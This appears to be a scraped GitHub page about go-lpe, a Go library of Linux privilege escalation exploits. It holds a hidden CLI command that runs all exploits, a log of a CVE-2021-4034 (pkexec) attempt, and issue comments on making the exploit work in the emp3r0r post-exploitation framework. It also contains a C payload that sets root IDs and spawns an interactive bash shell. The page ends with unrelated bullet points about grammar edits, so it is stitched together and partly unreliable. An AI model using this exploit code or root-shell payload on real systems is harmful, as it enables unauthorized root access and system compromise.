jm33-m0 / go-lpe Goto Github PK

package app

import (
	golpe "github.com/jm33-m0/go-lpe"
	"github.com/urfave/cli/v2"
)

var testCmd = &cli.Command{
	Name:   "test",
	Hidden: true,

	Action: func(c *cli.Context) error {
		return golpe.RunAll()
	},
}

2023/07/03 18:19:46 Trying CVE-2021-4034...
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.

will get the source and troubleshoot, just FYI that it doesn't work out of the box.

As it executes execve syscall, current process will get replace by pkexec no matter it will successfully execute payload.so or not. Therefore when this exploit fails to call payload.so, calling process emp3r0r will die.

Currently this demo won't work, please rewrite it in C in order to seteuid.

#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
  setuid(0);
  seteuid(0);
  setgid(0);
  setegid(0);
  system("/bin/bash -i");
  return 0;
}

See jm33-m0/emp3r0r#250

• Fixation of minor grammatical errors
• Minimize redundancy/needless length
• Modification in style for visibility